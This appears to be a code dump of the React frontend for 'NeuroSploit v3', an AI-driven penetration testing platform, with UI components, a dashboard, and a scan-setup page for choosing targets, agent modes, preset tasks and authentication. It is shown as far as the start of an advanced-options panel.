<title>NeuroSploit v3 - AI-Powered Penetration Testing</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
+34
View File
@@ -0,0 +1,34 @@
{
"name": "neurosploit-frontend",
"version": "3.0.0",
"description": "NeuroSploit v3 - AI-Powered Penetration Testing Platform",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc && vite build",
"preview": "vite preview",
"lint": "eslint . --ext ts,tsx --report-unused-disable-directives --max-warnings 0"
},
"dependencies": {
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-router-dom": "^6.21.0",
"zustand": "^4.4.0",
"axios": "^1.6.0",
"socket.io-client": "^4.6.0",
"recharts": "^2.10.0",
"lucide-react": "^0.303.0",
"clsx": "^2.1.0",
"tailwind-merge": "^2.2.0"
},
"devDependencies": {
"@types/react": "^18.2.0",
"@types/react-dom": "^18.2.0",
"@vitejs/plugin-react": "^4.2.0",
"autoprefixer": "^10.4.16",
"postcss": "^8.4.32",
"tailwindcss": "^3.4.0",
"typescript": "^5.3.0",
"vite": "^5.0.0"
}
}
+6
View File
@@ -0,0 +1,6 @@
export default {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
}
+5
View File
@@ -0,0 +1,5 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="45" fill="#1a1a2e" stroke="#e94560" stroke-width="3"/>
<path d="M30 50 L45 35 L45 45 L70 45 L70 55 L45 55 L45 65 Z" fill="#e94560"/>
<circle cx="50" cy="50" r="8" fill="none" stroke="#e94560" stroke-width="2"/>
</svg>

After

Width:  |  Height:  |  Size: 314 B

+31
View File
@@ -0,0 +1,31 @@
import { Routes, Route } from 'react-router-dom'
import Layout from './components/layout/Layout'
import HomePage from './pages/HomePage'
import NewScanPage from './pages/NewScanPage'
import ScanDetailsPage from './pages/ScanDetailsPage'
import AgentStatusPage from './pages/AgentStatusPage'
import TaskLibraryPage from './pages/TaskLibraryPage'
import RealtimeTaskPage from './pages/RealtimeTaskPage'
import ReportsPage from './pages/ReportsPage'
import ReportViewPage from './pages/ReportViewPage'
import SettingsPage from './pages/SettingsPage'
function App() {
return (
<Layout>
<Routes>
<Route path="/" element={<HomePage />} />
<Route path="/scan/new" element={<NewScanPage />} />
<Route path="/scan/:scanId" element={<ScanDetailsPage />} />
<Route path="/agent/:agentId" element={<AgentStatusPage />} />
<Route path="/tasks" element={<TaskLibraryPage />} />
<Route path="/realtime" element={<RealtimeTaskPage />} />
<Route path="/reports" element={<ReportsPage />} />
<Route path="/reports/:reportId" element={<ReportViewPage />} />
<Route path="/settings" element={<SettingsPage />} />
</Routes>
</Layout>
)
}
export default App
+37
View File
@@ -0,0 +1,37 @@
import { clsx } from 'clsx'
interface BadgeProps {
variant?: 'critical' | 'high' | 'medium' | 'low' | 'info' | 'success' | 'warning' | 'default'
children: React.ReactNode
className?: string
}
const variants = {
critical: 'bg-red-500/20 text-red-400 border-red-500/30',
high: 'bg-orange-500/20 text-orange-400 border-orange-500/30',
medium: 'bg-yellow-500/20 text-yellow-400 border-yellow-500/30',
low: 'bg-blue-500/20 text-blue-400 border-blue-500/30',
info: 'bg-gray-500/20 text-gray-400 border-gray-500/30',
success: 'bg-green-500/20 text-green-400 border-green-500/30',
warning: 'bg-amber-500/20 text-amber-400 border-amber-500/30',
default: 'bg-dark-900/50 text-dark-300 border-dark-700',
}
export default function Badge({ variant = 'default', children, className }: BadgeProps) {
return (
<span
className={clsx(
'inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium border',
variants[variant],
className
)}
>
{children}
</span>
)
}
export function SeverityBadge({ severity }: { severity: string }) {
const variant = severity.toLowerCase() as BadgeProps['variant']
return <Badge variant={variant}>{severity.toUpperCase()}</Badge>
}
+70
View File
@@ -0,0 +1,70 @@
import { ButtonHTMLAttributes, ReactNode } from 'react'
import { clsx } from 'clsx'
interface ButtonProps extends ButtonHTMLAttributes<HTMLButtonElement> {
variant?: 'primary' | 'secondary' | 'danger' | 'ghost'
size?: 'sm' | 'md' | 'lg'
isLoading?: boolean
children: ReactNode
}
export default function Button({
variant = 'primary',
size = 'md',
isLoading = false,
children,
className,
disabled,
...props
}: ButtonProps) {
const baseStyles = 'inline-flex items-center justify-center font-medium rounded-lg transition-colors focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-offset-dark-700 disabled:opacity-50 disabled:cursor-not-allowed'
const variants = {
primary: 'bg-primary-500 text-white hover:bg-primary-600 focus:ring-primary-500',
secondary: 'bg-dark-900 text-white hover:bg-dark-800 focus:ring-dark-500',
danger: 'bg-red-600 text-white hover:bg-red-700 focus:ring-red-500',
ghost: 'text-dark-300 hover:text-white hover:bg-dark-900/50 focus:ring-dark-500',
}
const sizes = {
sm: 'px-3 py-1.5 text-sm',
md: 'px-4 py-2 text-sm',
lg: 'px-6 py-3 text-base',
}
return (
<button
className={clsx(baseStyles, variants[variant], sizes[size], className)}
disabled={disabled || isLoading}
{...props}
>
{isLoading ? (
<>
<svg
className="animate-spin -ml-1 mr-2 h-4 w-4"
xmlns="http://www.w3.org/2000/svg"
fill="none"
viewBox="0 0 24 24"
>
<circle
className="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
strokeWidth="4"
/>
<path
className="opacity-75"
fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"
/>
</svg>
Loading...
</>
) : (
children
)}
</button>
)
}
+27
View File
@@ -0,0 +1,27 @@
import { ReactNode } from 'react'
import { clsx } from 'clsx'
interface CardProps {
children: ReactNode
className?: string
title?: ReactNode
subtitle?: string
action?: ReactNode
}
export default function Card({ children, className, title, subtitle, action }: CardProps) {
return (
<div className={clsx('bg-dark-800 rounded-xl border border-dark-900/50', className)}>
{(title || action) && (
<div className="flex items-center justify-between p-4 border-b border-dark-900/50">
<div>
{title && <h3 className="text-lg font-semibold text-white">{title}</h3>}
{subtitle && <p className="text-sm text-dark-400 mt-1">{subtitle}</p>}
</div>
{action}
</div>
)}
<div className="p-4">{children}</div>
</div>
)
}
+41
View File
@@ -0,0 +1,41 @@
import { InputHTMLAttributes, forwardRef } from 'react'
import { clsx } from 'clsx'
interface InputProps extends InputHTMLAttributes<HTMLInputElement> {
label?: string
error?: string
helperText?: string
}
const Input = forwardRef<HTMLInputElement, InputProps>(
({ label, error, helperText, className, ...props }, ref) => {
return (
<div className="w-full">
{label && (
<label className="block text-sm font-medium text-dark-200 mb-1.5">
{label}
</label>
)}
<input
ref={ref}
className={clsx(
'w-full px-4 py-2.5 bg-dark-900 border rounded-lg text-white placeholder-dark-500',
'focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-transparent',
'transition-colors',
error ? 'border-red-500' : 'border-dark-700',
className
)}
{...props}
/>
{error && <p className="mt-1 text-sm text-red-400">{error}</p>}
{helperText && !error && (
<p className="mt-1 text-sm text-dark-400">{helperText}</p>
)}
</div>
)
}
)
Input.displayName = 'Input'
export default Input
@@ -0,0 +1,41 @@
import { TextareaHTMLAttributes, forwardRef } from 'react'
import { clsx } from 'clsx'
interface TextareaProps extends TextareaHTMLAttributes<HTMLTextAreaElement> {
label?: string
error?: string
helperText?: string
}
const Textarea = forwardRef<HTMLTextAreaElement, TextareaProps>(
({ label, error, helperText, className, ...props }, ref) => {
return (
<div className="w-full">
{label && (
<label className="block text-sm font-medium text-dark-200 mb-1.5">
{label}
</label>
)}
<textarea
ref={ref}
className={clsx(
'w-full px-4 py-2.5 bg-dark-900 border rounded-lg text-white placeholder-dark-500',
'focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-transparent',
'transition-colors resize-none',
error ? 'border-red-500' : 'border-dark-700',
className
)}
{...props}
/>
{error && <p className="mt-1 text-sm text-red-400">{error}</p>}
{helperText && !error && (
<p className="mt-1 text-sm text-dark-400">{helperText}</p>
)}
</div>
)
}
)
Textarea.displayName = 'Textarea'
export default Textarea
+29
View File
@@ -0,0 +1,29 @@
import { useLocation } from 'react-router-dom'
const pageTitles: Record<string, string> = {
'/': 'Dashboard',
'/scan/new': 'New Security Scan',
'/reports': 'Reports',
'/settings': 'Settings',
}
export default function Header() {
const location = useLocation()
const title = pageTitles[location.pathname] || 'NeuroSploit'
return (
<header className="h-16 bg-dark-800 border-b border-dark-900/50 flex items-center justify-between px-6">
<h1 className="text-xl font-semibold text-white">{title}</h1>
<div className="flex items-center gap-4">
<span className="text-sm text-dark-400">
{new Date().toLocaleDateString('en-US', {
weekday: 'long',
year: 'numeric',
month: 'long',
day: 'numeric'
})}
</span>
</div>
</header>
)
}
+21
View File
@@ -0,0 +1,21 @@
import { ReactNode } from 'react'
import Sidebar from './Sidebar'
import Header from './Header'
interface LayoutProps {
children: ReactNode
}
export default function Layout({ children }: LayoutProps) {
return (
<div className="flex min-h-screen bg-dark-700">
<Sidebar />
<div className="flex-1 flex flex-col">
<Header />
<main className="flex-1 p-6 overflow-auto">
{children}
</main>
</div>
</div>
)
}
@@ -0,0 +1,74 @@
import { Link, useLocation } from 'react-router-dom'
import {
Home,
Bot,
BookOpen,
FileText,
Settings,
Activity,
Shield,
Zap
} from 'lucide-react'
const navItems = [
{ path: '/', icon: Home, label: 'Dashboard' },
{ path: '/scan/new', icon: Bot, label: 'AI Agent' },
{ path: '/realtime', icon: Zap, label: 'Real-time Task' },
{ path: '/tasks', icon: BookOpen, label: 'Task Library' },
{ path: '/reports', icon: FileText, label: 'Reports' },
{ path: '/settings', icon: Settings, label: 'Settings' },
]
export default function Sidebar() {
const location = useLocation()
return (
<aside className="w-64 bg-dark-800 border-r border-dark-900/50 flex flex-col">
{/* Logo */}
<div className="p-6 border-b border-dark-900/50">
<Link to="/" className="flex items-center gap-3">
<div className="w-10 h-10 bg-primary-500 rounded-lg flex items-center justify-center">
<Shield className="w-6 h-6 text-white" />
</div>
<div>
<h1 className="text-lg font-bold text-white">NeuroSploit</h1>
<p className="text-xs text-dark-400">v3.0 AI Pentest</p>
</div>
</Link>
</div>
{/* Navigation */}
<nav className="flex-1 p-4">
<ul className="space-y-2">
{navItems.map((item) => {
const isActive = location.pathname === item.path
const Icon = item.icon
return (
<li key={item.path}>
<Link
to={item.path}
className={`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${
isActive
? 'bg-primary-500/20 text-primary-500'
: 'text-dark-300 hover:bg-dark-900/50 hover:text-white'
}`}
>
<Icon className="w-5 h-5" />
<span>{item.label}</span>
</Link>
</li>
)
})}
</ul>
</nav>
{/* Status */}
<div className="p-4 border-t border-dark-900/50">
<div className="flex items-center gap-2 text-sm">
<Activity className="w-4 h-4 text-green-500" />
<span className="text-dark-400">System Online</span>
</div>
</div>
</aside>
)
}
+13
View File
@@ -0,0 +1,13 @@
import React from 'react'
import ReactDOM from 'react-dom/client'
import { BrowserRouter } from 'react-router-dom'
import App from './App'
import './styles/globals.css'
ReactDOM.createRoot(document.getElementById('root')!).render(
<React.StrictMode>
<BrowserRouter>
<App />
</BrowserRouter>
</React.StrictMode>,
)
File diff suppressed because it is too large Load Diff
+210
View File
@@ -0,0 +1,210 @@
import { useEffect } from 'react'
import { Link } from 'react-router-dom'
import { Activity, Shield, AlertTriangle, Plus, ArrowRight } from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import { SeverityBadge } from '../components/common/Badge'
import { dashboardApi } from '../services/api'
import { useDashboardStore } from '../store'
export default function HomePage() {
const { stats, recentScans, recentVulnerabilities, setStats, setRecentScans, setRecentVulnerabilities, setLoading } = useDashboardStore()
useEffect(() => {
const fetchData = async () => {
setLoading(true)
try {
const [statsData, recentData] = await Promise.all([
dashboardApi.getStats(),
dashboardApi.getRecent(5)
])
setStats(statsData)
setRecentScans(recentData.recent_scans)
setRecentVulnerabilities(recentData.recent_vulnerabilities)
} catch (error) {
console.error('Failed to fetch dashboard data:', error)
} finally {
setLoading(false)
}
}
fetchData()
}, [])
const statCards = [
{
label: 'Total Scans',
value: stats?.scans.total || 0,
icon: Activity,
color: 'text-blue-400',
bgColor: 'bg-blue-500/10',
},
{
label: 'Running Scans',
value: stats?.scans.running || 0,
icon: Shield,
color: 'text-green-400',
bgColor: 'bg-green-500/10',
},
{
label: 'Vulnerabilities',
value: stats?.vulnerabilities.total || 0,
icon: AlertTriangle,
color: 'text-red-400',
bgColor: 'bg-red-500/10',
},
{
label: 'Critical Issues',
value: stats?.vulnerabilities.critical || 0,
icon: AlertTriangle,
color: 'text-red-500',
bgColor: 'bg-red-600/10',
},
]
return (
<div className="space-y-6 animate-fadeIn">
{/* Quick Actions */}
<div className="flex items-center justify-between">
<div>
<h2 className="text-2xl font-bold text-white">Welcome to NeuroSploit</h2>
<p className="text-dark-400 mt-1">AI-Powered Penetration Testing Platform</p>
</div>
<Link to="/scan/new">
<Button size="lg">
<Plus className="w-5 h-5 mr-2" />
New Scan
</Button>
</Link>
</div>
{/* Stats Grid */}
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4">
{statCards.map((stat) => (
<Card key={stat.label} className="hover:border-dark-700 transition-colors">
<div className="flex items-center gap-4">
<div className={`p-3 rounded-lg ${stat.bgColor}`}>
<stat.icon className={`w-6 h-6 ${stat.color}`} />
</div>
<div>
<p className="text-2xl font-bold text-white">{stat.value}</p>
<p className="text-sm text-dark-400">{stat.label}</p>
</div>
</div>
</Card>
))}
</div>
{/* Severity Distribution */}
{stats && stats.vulnerabilities.total > 0 && (
<Card title="Vulnerability Distribution">
<div className="flex h-8 rounded-lg overflow-hidden">
{stats.vulnerabilities.critical > 0 && (
<div
className="bg-red-500 flex items-center justify-center text-white text-xs font-medium"
style={{ width: `${(stats.vulnerabilities.critical / stats.vulnerabilities.total) * 100}%` }}
>
{stats.vulnerabilities.critical}
</div>
)}
{stats.vulnerabilities.high > 0 && (
<div
className="bg-orange-500 flex items-center justify-center text-white text-xs font-medium"
style={{ width: `${(stats.vulnerabilities.high / stats.vulnerabilities.total) * 100}%` }}
>
{stats.vulnerabilities.high}
</div>
)}
{stats.vulnerabilities.medium > 0 && (
<div
className="bg-yellow-500 flex items-center justify-center text-white text-xs font-medium"
style={{ width: `${(stats.vulnerabilities.medium / stats.vulnerabilities.total) * 100}%` }}
>
{stats.vulnerabilities.medium}
</div>
)}
{stats.vulnerabilities.low > 0 && (
<div
className="bg-blue-500 flex items-center justify-center text-white text-xs font-medium"
style={{ width: `${(stats.vulnerabilities.low / stats.vulnerabilities.total) * 100}%` }}
>
{stats.vulnerabilities.low}
</div>
)}
</div>
<div className="flex gap-4 mt-3 text-xs">
<span className="flex items-center gap-1"><span className="w-3 h-3 rounded bg-red-500" /> Critical</span>
<span className="flex items-center gap-1"><span className="w-3 h-3 rounded bg-orange-500" /> High</span>
<span className="flex items-center gap-1"><span className="w-3 h-3 rounded bg-yellow-500" /> Medium</span>
<span className="flex items-center gap-1"><span className="w-3 h-3 rounded bg-blue-500" /> Low</span>
</div>
</Card>
)}
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
{/* Recent Scans */}
<Card
title="Recent Scans"
action={
<Link to="/reports" className="text-sm text-primary-500 hover:text-primary-400 flex items-center gap-1">
View All <ArrowRight className="w-4 h-4" />
</Link>
}
>
<div className="space-y-3">
{recentScans.length === 0 ? (
<p className="text-dark-400 text-center py-4">No scans yet. Start your first scan!</p>
) : (
recentScans.map((scan) => (
<Link
key={scan.id}
to={`/scan/${scan.id}`}
className="flex items-center justify-between p-3 bg-dark-900/50 rounded-lg hover:bg-dark-900 transition-colors"
>
<div>
<p className="font-medium text-white">{scan.name || 'Unnamed Scan'}</p>
<p className="text-xs text-dark-400">
{new Date(scan.created_at).toLocaleDateString()}
</p>
</div>
<div className="flex items-center gap-2">
<SeverityBadge severity={scan.status} />
<span className="text-sm text-dark-400">{scan.total_vulnerabilities} vulns</span>
</div>
</Link>
))
)}
</div>
</Card>
{/* Recent Vulnerabilities */}
<Card
title="Recent Findings"
action={
<Link to="/reports" className="text-sm text-primary-500 hover:text-primary-400 flex items-center gap-1">
View All <ArrowRight className="w-4 h-4" />
</Link>
}
>
<div className="space-y-3">
{recentVulnerabilities.length === 0 ? (
<p className="text-dark-400 text-center py-4">No vulnerabilities found yet.</p>
) : (
recentVulnerabilities.slice(0, 5).map((vuln) => (
<div
key={vuln.id}
className="flex items-center justify-between p-3 bg-dark-900/50 rounded-lg"
>
<div className="flex-1 min-w-0">
<p className="font-medium text-white truncate">{vuln.title}</p>
<p className="text-xs text-dark-400 truncate">{vuln.affected_endpoint}</p>
</div>
<SeverityBadge severity={vuln.severity} />
</div>
))
)}
</div>
</Card>
</div>
</div>
)
}
+572
View File
@@ -0,0 +1,572 @@
import { useState, useRef, useEffect } from 'react'
import { useNavigate } from 'react-router-dom'
import {
Upload, Link as LinkIcon, FileText, Play, AlertTriangle,
Bot, Search, Target, Brain, BookOpen, ChevronDown, Key, Settings
} from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import Input from '../components/common/Input'
import Textarea from '../components/common/Textarea'
import { agentApi, targetsApi } from '../services/api'
import type { AgentTask, AgentMode } from '../types'
type TargetInputMode = 'single' | 'multiple' | 'file'
interface OperationModeInfo {
id: AgentMode
name: string
icon: React.ReactNode
description: string
warning?: string
color: string
}
const OPERATION_MODES: OperationModeInfo[] = [
{
id: 'full_auto',
name: 'Full Auto',
icon: <Bot className="w-5 h-5" />,
description: 'Complete workflow: Recon -> Analyze -> Test -> Report',
color: 'primary'
},
{
id: 'recon_only',
name: 'Recon Only',
icon: <Search className="w-5 h-5" />,
description: 'Reconnaissance and enumeration only, no vulnerability testing',
color: 'blue'
},
{
id: 'prompt_only',
name: 'AI Prompt Mode',
icon: <Brain className="w-5 h-5" />,
description: 'AI decides everything based on your prompt - full autonomy',
warning: 'HIGH TOKEN USAGE - The AI will use more API calls to decide what to do',
color: 'purple'
},
{
id: 'analyze_only',
name: 'Analyze Only',
icon: <Target className="w-5 h-5" />,
description: 'Analyze provided data without active testing',
color: 'green'
}
]
const TASK_CATEGORIES = [
{ id: 'all', name: 'All Tasks' },
{ id: 'full_auto', name: 'Full Auto' },
{ id: 'recon', name: 'Reconnaissance' },
{ id: 'vulnerability', name: 'Vulnerability' },
{ id: 'custom', name: 'Custom' },
{ id: 'reporting', name: 'Reporting' }
]
export default function NewScanPage() {
const navigate = useNavigate()
const fileInputRef = useRef<HTMLInputElement>(null)
// Target state
const [targetMode, setTargetMode] = useState<TargetInputMode>('single')
const [singleUrl, setSingleUrl] = useState('')
const [multipleUrls, setMultipleUrls] = useState('')
const [uploadedUrls, setUploadedUrls] = useState<string[]>([])
const [urlError, setUrlError] = useState('')
// Operation mode
const [operationMode, setOperationMode] = useState<AgentMode>('full_auto')
// Task library
const [tasks, setTasks] = useState<AgentTask[]>([])
const [selectedTask, setSelectedTask] = useState<AgentTask | null>(null)
const [taskCategory, setTaskCategory] = useState('all')
const [showTaskLibrary, setShowTaskLibrary] = useState(false)
const [loadingTasks, setLoadingTasks] = useState(false)
// Custom prompt
const [useCustomPrompt, setUseCustomPrompt] = useState(false)
const [customPrompt, setCustomPrompt] = useState('')
// Auth options
const [showAuthOptions, setShowAuthOptions] = useState(false)
const [authType, setAuthType] = useState<'none' | 'cookie' | 'bearer' | 'basic' | 'header'>('none')
const [authValue, setAuthValue] = useState('')
// Advanced options
const [maxDepth, setMaxDepth] = useState(5)
// UI state
const [isLoading, setIsLoading] = useState(false)
// Load tasks on mount
useEffect(() => {
loadTasks()
}, [])
const loadTasks = async (category?: string) => {
setLoadingTasks(true)
try {
const taskList = await agentApi.tasks.list(category === 'all' ? undefined : category)
setTasks(taskList)
} catch (error) {
console.error('Failed to load tasks:', error)
} finally {
setLoadingTasks(false)
}
}
const handleCategoryChange = (category: string) => {
setTaskCategory(category)
loadTasks(category)
}
const handleFileUpload = async (e: React.ChangeEvent<HTMLInputElement>) => {
const file = e.target.files?.[0]
if (!file) return
try {
const result = await targetsApi.upload(file)
const validUrls = result.filter((r: any) => r.valid).map((r: any) => r.normalized_url)
setUploadedUrls(validUrls)
setUrlError('')
} catch (error) {
setUrlError('Failed to parse file')
}
}
const getTargetUrl = (): string => {
switch (targetMode) {
case 'single':
return singleUrl.trim()
case 'multiple':
return multipleUrls.split(/[,\n]/)[0]?.trim() || ''
case 'file':
return uploadedUrls[0] || ''
default:
return ''
}
}
const handleStartAgent = async () => {
const target = getTargetUrl()
if (!target) {
setUrlError('Please enter a target URL')
return
}
setIsLoading(true)
try {
// Validate URL
const validation = await targetsApi.validateBulk([target])
if (!validation[0]?.valid) {
setUrlError('Invalid URL format')
setIsLoading(false)
return
}
// Build request
const request: any = {
target: validation[0].normalized_url,
mode: operationMode,
max_depth: maxDepth
}
// Add task or custom prompt
if (selectedTask && !useCustomPrompt) {
request.task_id = selectedTask.id
} else if (useCustomPrompt && customPrompt.trim()) {
request.prompt = customPrompt
}
// Add auth if specified
if (authType !== 'none' && authValue.trim()) {
request.auth_type = authType
request.auth_value = authValue
}
// Start agent
const response = await agentApi.run(request)
// Navigate to agent status page
navigate(`/agent/${response.agent_id}`)
} catch (error) {
console.error('Failed to start agent:', error)
setUrlError('Failed to start agent. Please try again.')
} finally {
setIsLoading(false)
}
}
const currentModeInfo = OPERATION_MODES.find(m => m.id === operationMode)!
return (
<div className="max-w-5xl mx-auto space-y-6 animate-fadeIn">
{/* Header */}
<div className="flex items-center justify-between">
<div>
<h1 className="text-3xl font-bold text-white flex items-center gap-3">
<Bot className="w-8 h-8 text-primary-500" />
AI Security Agent
</h1>
<p className="text-dark-400 mt-1">Autonomous penetration testing powered by AI</p>
</div>
</div>
{/* Operation Mode Selector */}
<Card title="Operation Mode" subtitle="Select how the AI agent should operate">
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4">
{OPERATION_MODES.map((mode) => (
<div
key={mode.id}
onClick={() => setOperationMode(mode.id)}
className={`p-4 rounded-xl border-2 cursor-pointer transition-all ${
operationMode === mode.id
? `border-${mode.color}-500 bg-${mode.color}-500/10`
: 'border-dark-700 hover:border-dark-500 bg-dark-900/50'
}`}
>
<div className={`flex items-center gap-2 mb-2 ${
operationMode === mode.id ? `text-${mode.color}-400` : 'text-dark-300'
}`}>
{mode.icon}
<span className="font-semibold">{mode.name}</span>
</div>
<p className="text-sm text-dark-400">{mode.description}</p>
{mode.warning && operationMode === mode.id && (
<div className="mt-2 flex items-start gap-2 text-yellow-400 text-xs">
<AlertTriangle className="w-4 h-4 flex-shrink-0" />
<span>{mode.warning}</span>
</div>
)}
</div>
))}
</div>
</Card>
{/* Target Input */}
<Card title="Target" subtitle="Enter the URL to test">
<div className="space-y-4">
{/* Mode Selector */}
<div className="flex gap-2">
<Button
variant={targetMode === 'single' ? 'primary' : 'secondary'}
onClick={() => setTargetMode('single')}
>
<LinkIcon className="w-4 h-4 mr-2" />
Single URL
</Button>
<Button
variant={targetMode === 'multiple' ? 'primary' : 'secondary'}
onClick={() => setTargetMode('multiple')}
>
<FileText className="w-4 h-4 mr-2" />
Multiple URLs
</Button>
<Button
variant={targetMode === 'file' ? 'primary' : 'secondary'}
onClick={() => setTargetMode('file')}
>
<Upload className="w-4 h-4 mr-2" />
Upload File
</Button>
</div>
{/* Input Fields */}
{targetMode === 'single' && (
<Input
placeholder="https://example.com"
value={singleUrl}
onChange={(e) => {
setSingleUrl(e.target.value)
setUrlError('')
}}
error={urlError}
/>
)}
{targetMode === 'multiple' && (
<div>
<Textarea
placeholder="Enter URLs separated by commas or new lines:&#10;https://example1.com&#10;https://example2.com"
rows={5}
value={multipleUrls}
onChange={(e) => {
setMultipleUrls(e.target.value)
setUrlError('')
}}
/>
<p className="text-xs text-dark-500 mt-1">Note: Agent will test the first URL. Multiple URL support coming soon.</p>
{urlError && <p className="mt-1 text-sm text-red-400">{urlError}</p>}
</div>
)}
{targetMode === 'file' && (
<div>
<input
type="file"
ref={fileInputRef}
onChange={handleFileUpload}
accept=".txt,.csv,.lst"
className="hidden"
/>
<div
onClick={() => fileInputRef.current?.click()}
className="border-2 border-dashed border-dark-700 rounded-lg p-8 text-center cursor-pointer hover:border-primary-500 transition-colors"
>
<Upload className="w-10 h-10 mx-auto text-dark-400 mb-3" />
<p className="text-dark-300">Click to upload a file with URLs</p>
<p className="text-sm text-dark-500 mt-1">Supports .txt, .csv, .lst files</p>
</div>
{uploadedUrls.length > 0 && (
<p className="mt-2 text-sm text-green-400">
{uploadedUrls.length} valid URLs loaded - using first URL
</p>
)}
{urlError && <p className="mt-2 text-sm text-red-400">{urlError}</p>}
</div>
)}
</div>
</Card>
{/* Task Library */}
<Card
title={
<div className="flex items-center justify-between w-full">
<div className="flex items-center gap-2">
<BookOpen className="w-5 h-5 text-primary-500" />
<span>Task Library</span>
</div>
<Button
variant="ghost"
size="sm"
onClick={() => setShowTaskLibrary(!showTaskLibrary)}
>
<ChevronDown className={`w-4 h-4 transition-transform ${showTaskLibrary ? 'rotate-180' : ''}`} />
</Button>
</div>
}
subtitle="Select a preset task or create a custom prompt"
>
{/* Custom Prompt Toggle */}
<div className="flex items-center justify-between mb-4 pb-4 border-b border-dark-700">
<div className="flex items-center gap-2">
<input
type="checkbox"
id="customPrompt"
checked={useCustomPrompt}
onChange={(e) => setUseCustomPrompt(e.target.checked)}
className="w-4 h-4 rounded border-dark-600 bg-dark-800 text-primary-500 focus:ring-primary-500"
/>
<label htmlFor="customPrompt" className="text-white">Use custom prompt instead of task</label>
</div>
</div>
{useCustomPrompt ? (
<Textarea
placeholder="Enter your custom prompt for the AI agent...&#10;&#10;Example: Test for SQL injection on all form inputs, check for authentication bypass on the login endpoint, and look for IDOR vulnerabilities in user profile APIs."
rows={6}
value={customPrompt}
onChange={(e) => setCustomPrompt(e.target.value)}
/>
) : (
<>
{showTaskLibrary && (
<>
{/* Category Filter */}
<div className="flex gap-2 mb-4 flex-wrap">
{TASK_CATEGORIES.map((cat) => (
<Button
key={cat.id}
variant={taskCategory === cat.id ? 'primary' : 'secondary'}
size="sm"
onClick={() => handleCategoryChange(cat.id)}
>
{cat.name}
</Button>
))}
</div>
</>
)}
{/* Tasks Grid */}
<div className={`grid grid-cols-1 md:grid-cols-2 gap-3 ${showTaskLibrary ? 'max-h-80 overflow-auto' : ''}`}>
{loadingTasks ? (
<p className="text-dark-400 col-span-2 text-center py-4">Loading tasks...</p>
) : (
(showTaskLibrary ? tasks : tasks.slice(0, 4)).map((task) => (
<div
key={task.id}
onClick={() => setSelectedTask(task)}
className={`p-4 rounded-lg border cursor-pointer transition-all ${
selectedTask?.id === task.id
? 'border-primary-500 bg-primary-500/10'
: 'border-dark-700 hover:border-dark-500 bg-dark-900/50'
}`}
>
<div className="flex items-center justify-between mb-1">
<span className="font-medium text-white">{task.name}</span>
{task.is_preset && (
<span className="text-xs bg-primary-500/20 text-primary-400 px-2 py-0.5 rounded">Preset</span>
)}
</div>
<p className="text-sm text-dark-400 line-clamp-2">{task.description}</p>
<div className="flex items-center gap-2 mt-2">
<span className="text-xs text-dark-500">{task.category}</span>
{task.estimated_tokens > 0 && (
<span className="text-xs text-dark-500">~{task.estimated_tokens} tokens</span>
)}
</div>
{task.tags?.length > 0 && (
<div className="flex gap-1 mt-2 flex-wrap">
{task.tags.slice(0, 3).map((tag) => (
<span key={tag} className="text-xs bg-dark-700 text-dark-300 px-2 py-0.5 rounded">
{tag}
</span>
))}
</div>
)}
</div>
))
)}
</div>
{!showTaskLibrary && tasks.length > 4 && (
<Button
variant="ghost"
className="w-full mt-3"
onClick={() => setShowTaskLibrary(true)}
>
Show all {tasks.length} tasks
</Button>
)}
</>
)}
{/* Selected Task Preview */}
{selectedTask && !useCustomPrompt && (
<div className="mt-4 p-4 bg-dark-800 rounded-lg border border-dark-700">
<div className="flex items-center justify-between mb-2">
<span className="font-medium text-white">Selected: {selectedTask.name}</span>
<Button variant="ghost" size="sm" onClick={() => setSelectedTask(null)}>
Clear
</Button>
</div>
<p className="text-sm text-dark-400 whitespace-pre-wrap line-clamp-4">
{selectedTask.prompt}
</p>
</div>
)}
</Card>
{/* Authentication Options */}
<Card
title={
<div className="flex items-center gap-2">
<Key className="w-5 h-5 text-primary-500" />
<span>Authentication</span>
<span className="text-xs text-dark-500">(Optional)</span>
</div>
}
>
<div className="space-y-4">
<div className="flex gap-2 flex-wrap">
{[
{ id: 'none', label: 'None' },
{ id: 'cookie', label: 'Cookie' },
{ id: 'bearer', label: 'Bearer Token' },
{ id: 'basic', label: 'Basic Auth' },
{ id: 'header', label: 'Custom Header' }
].map((type) => (
<Button
key={type.id}
variant={authType === type.id ? 'primary' : 'secondary'}
size="sm"
onClick={() => setAuthType(type.id as any)}
>
{type.label}
</Button>
))}
</div>
{authType !== 'none' && (
<Input
placeholder={
authType === 'cookie' ? 'session=abc123; token=xyz789' :
authType === 'bearer' ? 'eyJhbGciOiJIUzI1NiIs...' :
authType === 'basic' ? 'username:password' :
'X-API-Key: your-api-key'
}
value={authValue}
onChange={(e) => setAuthValue(e.target.value)}
label={
authType === 'cookie' ? 'Cookie String' :
authType === 'bearer' ? 'Bearer Token' :
authType === 'basic' ? 'Username:Password' :
'Header:Value'
}
/>
)}
</div>
</Card>
{/* Advanced Options */}
<Card
title={
<div className="flex items-center gap-2 cursor-pointer" onClick={() => setShowAuthOptions(!showAuthOptions)}>
<Settings className="w-5 h-5 text-primary-500" />
<span>Advanced Options</span>
<ChevronDown className={`w-4 h-4 transition-transform ${showAuthOptions ? 'rotate-180' : ''}`} />
</div>
}
>
{showAuthOptions && (
<div className="space-y-4">
<div>
<label className="text-sm text-dark-300 mb-1 block">Max Crawl Depth</label>
<div className="flex items-center gap-4">
<input
type="range"
min="1"
max="10"
value={maxDepth}
